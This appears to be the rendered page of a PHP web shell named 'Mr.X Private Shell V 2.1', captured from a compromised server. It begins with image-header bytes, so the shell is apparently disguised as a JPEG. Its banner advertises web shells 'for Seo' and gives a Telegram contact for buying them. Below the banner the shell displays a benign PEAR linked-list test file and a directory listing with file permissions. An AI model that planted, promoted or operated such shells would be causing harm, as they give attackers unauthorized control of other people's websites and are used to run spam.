����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
--TEST--
single_link_005: Pass different class types to constructors
--FILE--
<?php
$dir = dirname(__FILE__);
require 'Structures/LinkedList/Single.php';
class TesterExtend extends Structures_LinkedList_SingleNode {
protected $_my_number;
function __construct($tester, $num) {
$this->_my_number = $num;
parent::__construct($tester);
}
}
class TesterFail {
protected $summary;
protected $fulltext;
function __construct($summary, $fulltext) {
$this->summary = $summary;
$this->fulltext = $fulltext;
}
}
// This should work: TesterExtend extends the Structure_LinkedList_SingleNode class
$tester_extend = new TesterExtend(null, 1);
$xyy = new Structures_LinkedList_Single($tester_extend);
print "Checking for errors in the expected success case:\n";
// This should fail
print "Checking for errors in the expected failure case:\n";
$tester_fail = new TesterFail(null, 1);
$xyy_fail = new Structures_LinkedList_Single($tester_fail);
?>
--EXPECTF--
Checking for errors in the expected success case:
Checking for errors in the expected failure case:
%satal error: Argument 1 passed to Structures_LinkedList_Single::__construct() must be an instance of Structures_LinkedList_SingleNode%s
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| LinkTester.php | File | 492 B | 0644 |
|
| SingleLinkTester.php | File | 462 B | 0644 |
|
| link_001.phpt | File | 987 B | 0644 |
|
| link_002.phpt | File | 675 B | 0644 |
|
| link_003.phpt | File | 1000 B | 0644 |
|
| link_004.phpt | File | 544 B | 0644 |
|
| link_005.phpt | File | 1.21 KB | 0644 |
|
| link_006.phpt | File | 991 B | 0644 |
|
| link_007.phpt | File | 1.32 KB | 0644 |
|
| single_link_001.phpt | File | 1000 B | 0644 |
|
| single_link_002.phpt | File | 688 B | 0644 |
|
| single_link_003.phpt | File | 1013 B | 0644 |
|
| single_link_004.phpt | File | 557 B | 0644 |
|
| single_link_005.phpt | File | 1.22 KB | 0644 |
|
| single_link_006.phpt | File | 1004 B | 0644 |
|
| single_link_007.phpt | File | 1.19 KB | 0644 |
|